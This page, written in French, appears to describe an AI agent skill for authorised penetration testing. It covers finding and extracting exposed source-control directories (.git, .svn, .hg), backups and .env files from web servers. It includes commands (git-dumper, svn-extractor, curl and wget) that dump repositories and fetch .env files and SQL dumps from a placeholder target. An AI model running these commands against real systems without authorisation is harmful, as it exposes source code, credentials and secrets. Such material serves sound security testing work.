Que fait insecure-source-code-management ?
Gestion des fuites de code source et artefacts (.git, .svn, .hg, sauvegardes, .env). Utilisez cette compétence lorsque la reconnaissance trouve des chemins VCS, des erreurs 403 sur des répertoires cachés, ou des fuites de sauvegardes/configurations lors de tests autorisés.
Objectif
Détecter et exploiter les expositions de code source et artefacts non sécurisés sur des serveurs web ou applications cibles, dans le cadre de tests de sécurité légitimes et autorisés.
Prérequis
- Outils :
git,svn(Subversion),hg(Mercurial),curl,wget,git-dumper,svn-extractor - Permissions explicites de test
- Reconnaissance préalable (scans de chemins, statuts HTTP 403, fichiers cachés)
Utilisation
Fuite .git
# Dump d'un dépôt .git exposé
git-dumper http://cible.com/.git/ ./dossier_sortie
cd dossier_sortie && git status
Fuite .svn
# Extraction de fichiers de métadonnées Subversion
svn-extractor --url http://cible.com/.svn/ --output ./sortie_svn
Fuite .hg
# Vérification manuelle
curl http://cible.com/.hg/ -L
# Téléchargement du store de données
wget -r --no-parent http://cible.com/.hg/
Sauvegardes et fichiers .env
# Recherche de sauvegardes
curl http://cible.com/backup.zip
curl http://cible.com/dump.sql
# Fichiers .env exposés
curl http://cible.com/.env
Exemples de cas
- Scénario : Un scan trouve
http://cible.com/.git/HEAD(statut 200). Utilisezgit-dumperpour récupérer tout le dépôt. - Scénario : Erreur 403 sur
http://cible.com/admin/. Tentez/admin/.git/ou/admin/backup/. - Scénario : Fichier
robots.txtlisteDisallow: /backup/. Vérifiez/backup/pour des sauvegardes.
Considérations légales
Utilisation uniquement avec autorisation explicite. L'exploitation non autorisée de fuites VCS est illégale. Cette compétence est conçue pour des tests de sécurité éthiques et des audits de conformité.
Références
- git-dumper
- svn-extractor
- Documentation Mercurial :
hg help